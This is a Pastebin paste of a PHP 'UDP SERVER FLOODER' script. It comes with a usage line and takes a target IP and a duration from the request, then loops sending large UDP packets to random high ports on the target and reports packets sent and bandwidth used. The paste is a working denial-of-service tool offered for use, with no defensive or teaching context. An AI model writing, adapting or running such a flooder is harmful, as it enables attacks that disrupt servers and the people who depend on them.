Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /* _____ _____ _ _____ _____ _____ _____ _____ _____
- ___| | __ |_| _ |_ _|___ ___|_ _| __| _ | |
- |_ -| --| -| | __| | | |- _|___| | | | __| | | | |
- |___|_____|__|__|_|__| |_| |___| |_| |_____|__|__|_|_|_|
- |s C R i P T z - T E A M . i N F O|----------------------------
- UDP SERVER FLOODER
- USAGE:
- index.php?server_ip=SERVER_IP&time=20
- */
- $max_time = 300;
- $packet_size = 64; //packet size in kB, 64 is a good value
- if (isset($_GET['server_ip'])) {
- $server_ip = null;
- $time = null;
- if (isset($_GET['server_ip'])) {
- $server_ip = $_GET['server_ip'];
- $time = intval($_GET['time']);
- } else {
- $server_ip = $_POST['server_ip'];
- $time = intval($_POST['time']);
- }
- if ($time > $max_time)
- $time = $max_time;
- $packets = 0;
- ignore_user_abort(true);
- set_time_limit(0);
- $abort_time = time() + $time;
- $content = str_repeat("~w00tw00t~", 32 * $packet_size); //32 bytes * 32 => 1024 => 1kb * packetsize
- while (time() < $abort_time) {
- $port = rand(65500, 65534) + 1;
- $sock = fsockopen('udp://' . $server_ip, $port, $nErr, $sErr, 3);
- if ($sock) {
- fwrite($sock, $content);
- fclose($sock);
- }
- $packets++;
- }
- echo " <h1>Flooding completed!</h1><br/>\n <h3>Statistics:</h3>\n <h4>Packets: " . $packets . "</h4>\n <h4>Total MB: " . round(($packets * $packet_size) / 1024, 2) . "</h4>\n <h4>Bandwidth: " . round(($packets * $packet_size) / $time) . "kB/s</h4>";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement